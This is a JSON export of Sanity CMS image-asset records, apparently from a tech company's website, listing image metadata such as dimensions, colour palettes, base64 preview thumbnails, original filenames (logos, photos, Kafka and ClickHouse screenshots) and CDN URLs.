{"_createdAt":"2022-08-16T15:50:13Z","_id":"image-f15f4f9755bb1317f3d47ddd717f0d258996ead3-56x48-svg","_rev":"AItYcVmwODXGfe9M0GPqyE","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:13Z","assetId":"f15f4f9755bb1317f3d47ddd717f0d258996ead3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1666666666666667,"height":48,"width":56},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAD3UlEQVQ4jX2UX0wcVRTGR6PxT1J9sD6o8U2j8VXf1Ow9Iwg+UKpVU2NbQa0JqDFqUwmRHZY9g6xAwRZLg9BggYRaDaJSq7EprUmTQjAaFWOjiSa4d9l/7O6ZYReh55g7uxB98eE3JzPJfPnuOd89lkKybPQCAGk7IL0CSD+BSxu267HtEv+nIhmuANLvgNQKSLc/4q5u/m8FD4iSBS5dC0gPA9JHtkv5ssj/QT4gfQlItYB0vcJCWdAo3/v8u+blTnApDEh/ApIAElcQZYhuwaryHZASgNQLSHeD6xlTlqWiectGutF2aScgzVZ3emtP9Hmy96jPu4/4Utfj8Y5ejx8/tIXU93pcGwtcrgPSPCDtBaSbTPssKFu9z3ZpQCGl6no8iU4VeXrhbx4+V+LWSV96ZooyMrsWcHx2jQ+fKXHTiMc17xSMy5zteicA6QHl0tVG7GZA2m+79INC2jAujn1T4sWldfn6+yIf+rwgJy/6cn6xJLM/l+TCYomn51flrYkc13ZmWUXzxullQHoDkG41glAZBJm+PBbz+MC4z8NnPcaPV2T/YEpeO56W1onsFm+OZviZvqRUdSwzRDICmC8C0mlA2mkE+00EbJekHA3iXX0kzcM5fm4gJfsOJ+XAhxkJT2a3ODiW4Wf7k1wV0aycBENHRiCaXwKkMauinN0UBCw3vWk4Ly9/kJH2k1mZuuTLhcViwLe/FOWzeV9axrNcG9WiwpqhPSEQSXsQzS0YwRggXd50B+hxfa8nLw3luWEgJU1DaYlN5eTomXzA4Fd56ZnO8f7BFFd3aFbhOIOjBZzEEkRSJ0x2HgKkCUATZpOtQJAbB3P8dG9SdnUvB318dThdZiQtzUNp3t2XlIqggKNXlaO/UI7eYRxuA6QGQFqwXdowRzbZe+FYXl4cTPPBsYyMniP5dM4PmJ7z+dRFTzpOrXB9V2LT4a/K0a8rJ77dsqNBDu8xw7FdShrBmi7ip/rzvG8gwy3jWRk/TzKz4Aec/s7nqUseu5+scH0sISocz4GjR5Wj74dI8ioLImYx0A2AVAdIZwFpzRy9qrPAj3auSH0sxXveS3Lj+yluHEiZKg1Hkvxk9zJXR/S6Cus5cPQe5ehtqi1RXg6hroypdwDS24D0x+ZdVtECq0hWQs6yhMJaQm1xA4fC8aB3KqwTytHdytF3hdpTlgr/VRGM5ky9BpAeBKRJu3ydyisLC2x3ZBnak6ZX/8YHR88oR9coR18XcrSlHL25HDzLdn0jegsgNQPSjzaaAQW7jwELJrwMJsROMNkryon/phzdohx9G7QtWSoct6A9Yf0DP2trR4pc7rsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c5464","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c2e80","foreground":"#fff","population":0.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4082fc","foreground":"#fff","population":8.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#044194","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68a6fa","foreground":"#000","population":0.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6464","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4082fc","foreground":"#fff","population":8.11,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gcp-cloud-logging.svg","path":"images/sczeoy4w/production/f15f4f9755bb1317f3d47ddd717f0d258996ead3-56x48.svg","sha1hash":"f15f4f9755bb1317f3d47ddd717f0d258996ead3","size":1118,"uploadId":"sFuoDwj5I4Mlt6d53fp1FZCjmrRcMEH4","url":"https://cdn.sanity.io/images/sczeoy4w/production/f15f4f9755bb1317f3d47ddd717f0d258996ead3-56x48.svg"} {"_createdAt":"2024-03-04T16:20:57Z","_id":"image-f1a73b5281427c80b9bca37f83e2039114aa8ad8-102x18-svg","_rev":"bjd9bS9uM8kqzH43T72Jre","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:20:57Z","assetId":"f1a73b5281427c80b9bca37f83e2039114aa8ad8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4IAAj$}d^9=g,@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.666666666666667,"height":18,"width":102},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA90lEQVQYlU1OsUoDURC8T9AIarS1F6ubIDEWh8G8OS4nJJnnaVATA1coSBoLsRMEsdbmGjGViCKkE6xtYyNY5Cvs5cErLJbZ2dmZ3SAUxxC/ID6HMhHEWYjzEOcgliAuQ1yFWIO4AnEG4oKvRYhLvi87HjSy5JPd7Lvdy59s/8RUd9M1iBsQ131IHWIH4gHEJsTGP9yCuO13UojtoMizl7vhzfvocvxYXLy2or1OFMokFcXGGy3EY4gZxBbEHOIZxJ7X3DGHpxCHwe/54P7n6u1hcjstPq4naX3fboYy3YqNE4gxxCNvqsGy6r7woYcQ+17fgThw8z+PoGjur5wpEgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c5744","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661608","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c5744","foreground":"#fff","population":0.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#be96a9","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc8ef0","foreground":"#000","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#845ca4","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16a4b","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-cohere.svg","path":"images/sczeoy4w/production/f1a73b5281427c80b9bca37f83e2039114aa8ad8-102x18.svg","sha1hash":"f1a73b5281427c80b9bca37f83e2039114aa8ad8","size":5410,"uploadId":"gBdKLArfV1HwaUGB0wzMCon4LRPGhiI8","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1a73b5281427c80b9bca37f83e2039114aa8ad8-102x18.svg"} {"_createdAt":"2024-02-01T22:13:34Z","_id":"image-f1d13e8245ed89d03ab1e34a84ef5201dbcc4d56-1000x750-jpg","_rev":"H1slUvtNVEvBnmPPMOEitV","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T22:13:34Z","assetId":"f1d13e8245ed89d03ab1e34a84ef5201dbcc4d56","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VSEM2pRiWrkXNG%%M_oftRnhS6ROV@tRt7NHaJR*W?s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":750,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHA//EACMQAAEDAwMFAQAAAAAAAAAAAAECAwQABREGEhMUITFBUSL/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EABsRAQACAgMAAAAAAAAAAAAAAAEAAgMEESEx/9oADAMBAAIRAxEAPwBIvSlr29VEHRuNq/JQvckGnemtSIhQHIklHI829gKz5B94qeWy8zzBbXMWDEkLyloeAPtZzI0N2774MiQ444DlJykDFSdkorV8ljXbAW75lUk6giR3lNuL41DuUlNFRuXLunMS3IS8Pane6gflFM2LsDgoT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523627","foreground":"#fff","population":6.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e3c14","foreground":"#fff","population":1.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#787f86","foreground":"#fff","population":6.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1baab","foreground":"#000","population":6.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98e8d0","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787f86","foreground":"#fff","population":6.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c05c08","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-2019.jpg","path":"images/sczeoy4w/production/f1d13e8245ed89d03ab1e34a84ef5201dbcc4d56-1000x750.jpg","sha1hash":"f1d13e8245ed89d03ab1e34a84ef5201dbcc4d56","size":161869,"uploadId":"he0IvZskfVtj9LN8PVhriKafv0KEOv5d","url":"https://cdn.sanity.io/images/sczeoy4w/production/f1d13e8245ed89d03ab1e34a84ef5201dbcc4d56-1000x750.jpg"} {"_createdAt":"2022-09-17T20:54:57Z","_id":"image-f2630692359b96a714749edd739f6a51d674a37a-601x600-jpg","_rev":"4pG2it9AJU1nJxbjoLE4du","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:54:57Z","assetId":"f2630692359b96a714749edd739f6a51d674a37a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEIXjc_2~ooO%2~V-pM{W=WBInnjohoa%L_N-;xuxZV@RQW;M{WEWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0016666666666667,"height":600,"width":601},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYEBwP/xAAiEAACAgMAAQQDAAAAAAAAAAABAgADBAURIRITMVEUQmH/xAAYAQADAQEAAAAAAAAAAAAAAAAAAgMBBP/EABkRAAMBAQEAAAAAAAAAAAAAAAABAkERMf/aAAwDAQACEQMRAD8AvtruPfLeemSW0z2uXqVsyA8Mo9xh6vX2ezZlcsJ4F9XT2SWNet2bdj2X1oF6Q3fmSiVp09TNrVY1nDTjOi8Hhvkn7ia/w7nAau5GUjwfuIilh2TnW0zr8vYvde5Z3Ykn+zxVj6hEQw3TpektYarFHf0EREdEH6f/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c3c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f3f34","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#947b6e","foreground":"#fff","population":6.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b5a9","foreground":"#000","population":4.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cabaaf","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#947b6e","foreground":"#fff","population":6.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#997b65","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Hoang_Minh_Vo_photo.jpeg","path":"images/sczeoy4w/production/f2630692359b96a714749edd739f6a51d674a37a-601x600.jpg","sha1hash":"f2630692359b96a714749edd739f6a51d674a37a","size":60163,"uploadId":"FJ16rmg5fZPH0g1iAIDRJNW9TgM1XV5o","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2630692359b96a714749edd739f6a51d674a37a-601x600.jpg"} {"_createdAt":"2023-01-24T08:40:06Z","_id":"image-f2727d779e80cd1bcf2299c3c456ba39448cd564-1500x1094-png","_rev":"TE2o7iA1WIUKtaPRdhBOdp","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:51:44Z","altText":"Establishing a connection with the Kafka server","assetId":"f2727d779e80cd1bcf2299c3c456ba39448cd564","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3711151736745886,"height":1094,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTklEQVQokY1R2U7DMBDM/6SJHXsvr3NSSKEPSKj//y8odnEP1MLIcg5pdueoluPXcjwtx9OwfuryHubD1bl8yrTmPzIdeFyx30N8qeb9Gocl9JPEkSQiB498ObDdDtkBufwO1Hk0nW+tq8ZpZmIiCiGICBEBgPe+y7Abfp5ntG272+3quq7mZc8szBwTVFVEENE5Z601xrRtm++CpmnO5LfDh8aeWWKMfd/HGEUEAKy1TdPUT1Gt7xuZmFVVYwwhMDMAGGPy+Gfkef/KEjB5zpqJyHufyXdokuAytIrDBEhIpKpBNa8thu0vGGMunrUfAYlSYCWtnHYJ7A67srmQc1pRtxFE3HXddbB1XV8LviUT5apS24GIi+dngWkiI2JIEBaAreQ/e7olb01tmpkZEbPsf23m5HlIyOKZ2Tl3ne1DsohsvHHM5FxYyezR5m/cdLMQ7MrevQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344454","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#396489","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7d80","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb0b2","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5bed4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7d80","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446c8f","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"establishing-connection.png","path":"images/sczeoy4w/production/f2727d779e80cd1bcf2299c3c456ba39448cd564-1500x1094.png","sha1hash":"f2727d779e80cd1bcf2299c3c456ba39448cd564","size":144328,"title":null,"uploadId":"Eg6ifBc6nyeXmHkBkBhfZSFsAFk0iFgK","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2727d779e80cd1bcf2299c3c456ba39448cd564-1500x1094.png"} {"_createdAt":"2023-04-03T10:36:57Z","_id":"image-f2a84a7f86cb3839c7405d72f2102f2c607bb552-1080x608-gif","_rev":"X76Ye1KO1uMYkz1EfrFQKk","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:36:57Z","assetId":"f2a84a7f86cb3839c7405d72f2102f2c607bb552","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAEFB//EABsQAAIDAAMAAAAAAAAAAAAAAAABAgMRBRIh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AOF38tZd2ThFKSzwzpNOWpYABMBQB//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c444c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bababa","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7474","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-docker.gif","path":"images/sczeoy4w/production/f2a84a7f86cb3839c7405d72f2102f2c607bb552-1080x608.gif","sha1hash":"f2a84a7f86cb3839c7405d72f2102f2c607bb552","size":15171419,"uploadId":"dapQxQFsEmqmdtIM0N0m6dR8ZNrNooGc","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2a84a7f86cb3839c7405d72f2102f2c607bb552-1080x608.gif"} {"_createdAt":"2023-11-22T10:11:04Z","_id":"image-f2a85a662396edee6e169e0f74f922cbb0bc6307-1184x714-png","_rev":"00HkATqwml6aoQnrO15qCr","_type":"sanity.imageAsset","_updatedAt":"2023-11-22T10:11:04Z","assetId":"f2a85a662396edee6e169e0f74f922cbb0bc6307","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.658263305322129,"height":714,"width":1184},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABcRAAAXEQHKJvM/AAACVElEQVQokZWTz0tVQRTH56n5qqdUmnOeuknuPH+8pF/zVTARo4JKCiqJougcs0VYZGpvblFJSQtLatGmVdBf0KL6F9q1byUtahlJMJfaBC/mvud7tqsLX86ZM+d8Zu7MGaX+40tcpHxslA/WRSqJTc7H0aB3ZiyJjfGxaVbaitIIYkWplZqtzLEiW4l1DbF6MzWsyittaq1UyAaQd+aFd+ZdEkdL3hmryHJaGApSvwreKG0rsdb9V1T5Sbv6Ot+vft2J2pI4mk/iaDWJo99JHH1M4mimBtNWGgicJci2IG0lqxFiYT4FZvLgzPTERKZcVmp1ttj+w5mb3plP3pmf3pkP3pmrIbFZQ7rJ8m6yMkKQ0wQ5U/X7CVIgSKRTn4t58MBOK737Ri/sfXVp9NyXuf4V78zrJI7mvDMDAdhJkPMEuUuWlwjyvKr7BCkRxBFkliBz2gbL64r7Ri7OPJw8Mr5WKhSTOMp/LxWawuH3EOSaBq8Q5BmBHxPkAUEWCbJMkKfa8qK2vEDgGW3lOoFL2sqytrLQdmCqT6mX6vOtAVV+q1TY4XaCHCTIJEHOEuQoQUYJMk6QY9ryCYKMEcQSZA+BB7WVYQKfJPCh7qHLHTdOHc+U7+1S76eHUuCWym9zgSwXw3kRpIMgLRqcI0iOwJsJkiVwM4E3hcvTVloJnOsCNz6aPKy+3e5VneAUuJUgeW25R1vuI4jRlts1uLF6u3/3Z9palRZLVe2C9dYKgyay3EKQHQEUbFhEW25YT6pD64U1eHVcA1ZeRD24MaleKP/8Pv8AyPndJ6yllTcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c334e","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c3004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7321","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963902","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7321","foreground":"#fff","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac805c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87009","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-alterra-bills.png","path":"images/sczeoy4w/production/f2a85a662396edee6e169e0f74f922cbb0bc6307-1184x714.png","sha1hash":"f2a85a662396edee6e169e0f74f922cbb0bc6307","size":18238,"uploadId":"HEBG7Rbw5Bqq3TTeQSZ2dQKhkajgqtyU","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2a85a662396edee6e169e0f74f922cbb0bc6307-1184x714.png"} {"_createdAt":"2023-10-25T13:24:19Z","_id":"image-f2bf9f368d1ef8bf15a8df961001776c15103089-500x500-jpg","_rev":"gpV4rQ1RP6Oi5x5QrKrtgl","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:25:35Z","altText":"John Joseph Kennedy","assetId":"f2bf9f368d1ef8bf15a8df961001776c15103089","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e,RLtys:.mkCi_xtWCayj?WEXnofaKWCjExtWCj]j[RkNdoLnijuba","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHAQj/xAAhEAABBAICAwEBAAAAAAAAAAABAAIDBBESBQYhQVEHMf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAX/xAAdEQACAgIDAQAAAAAAAAAAAAAAAQIDESEEElET/9oADAMBAAIRAxEAPwD0b2rkG0qLg54ZsPuFGdXuwVL5NWcZkcNhvnKof0GkJeOdMWF4A1OPSheo0a0nJxxsi0LnYyo7ZP6JGrx6ouhvRtDTkA/UXI26sa0ehhFYZRN91tyw0JGMxjXP8WYQchPHIXxFrHNOw1GPKIn0xTthlehOTVM8Pw0Xr/O3bfFxSzFjnnwTqiIjnFdnoQm8H//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473d46","foreground":"#fff","population":1.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661e1f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a192","foreground":"#000","population":4.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b1a6","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1a192","foreground":"#000","population":4.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7c82","foreground":"#fff","population":2.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c63f41","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"john-joseph-kennedy.jpg","path":"images/sczeoy4w/production/f2bf9f368d1ef8bf15a8df961001776c15103089-500x500.jpg","sha1hash":"f2bf9f368d1ef8bf15a8df961001776c15103089","size":51448,"title":null,"uploadId":"7hlQ6vQJd8D7UdgbhBo0YmdNqpueSE2E","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2bf9f368d1ef8bf15a8df961001776c15103089-500x500.jpg"} {"_createdAt":"2022-11-17T13:56:47Z","_id":"image-f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343-png","_rev":"YI3rks3mbRtnzMpdnMMzxO","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:57:02Z","assetId":"f2dff19b5c66f5a1484bb4614fd422a488829e93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOSiNv.Tbcngr=T2nMbHa$ofRPWCWBn~kD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.749271137026239,"height":343,"width":600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAklEQVQokW2R3W4TMRCF+/7vAtwgcQ1cloY0AYUmaVLIrnf9l83+eXbtsQ/abREEdaRP1sjyN2fkm8QM1/dQUiPPxTOZQCFK1HUN7z0GGnCxFc5liXMpYZSBKjVkoebTKAurz7Da4ialBD96VFWFoihnkRAFpFTouh7MPAsbJdDsbtHub3EpTrBSQ5cSuihxLiSqUqFSGjcAMEu9BxHBOQfnCMMwzLIUI0Zy6LIH0OINaPUedX5AZQwu1qJRGt3+iHa7R12I54R/YA4IwSOEgBjjNAspRYyug/u1wrB8i/7hI85lBqMtmroBVTXGzQ79coXm9PRXOAkm2TiOc9o53XwX4V0DJ7Zwxy9oxR5Ga2htcZmEbQcSObrDFq04XiecHk/iibmfEk6D+hqkfsLJJ7RWwmgDYwzapsFADnQxaIsj+uLxWnhVL/0k5P6CQT1hkAc4K1CbAq09YWwKhN7CnQU6sZu3mD4lvc5sTCnGxH2VvHpMY/EjjfIxDWqXRnmfgrpPg9qmTmxTn23SIDbpv5VfITJibxHUFl6s4cU3BLFGyBfw+QKU3cOd1qBsBZ+t5pU5cmT2gTkEniswx8CcYuQUmWNvmOWGOV9eEfIl+2ziK/vDLfvVZ56ExCGQp4H8MFLwgXjGU2SmFJlSpynK7xTzO4r54h9e+uyOwvoTDR/e0W8POkcZ/fDjqAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#666466","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731122","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af66","foreground":"#000","population":1.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb9bb","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af66","foreground":"#000","population":1.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#818081","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e44a65","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343.png","path":"images/sczeoy4w/production/f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343.png","sha1hash":"f2dff19b5c66f5a1484bb4614fd422a488829e93","size":64645,"uploadId":"KA5dww8w38Y8KdTjDXoUvZN54qRVDeRa","url":"https://cdn.sanity.io/images/sczeoy4w/production/f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343.png"} 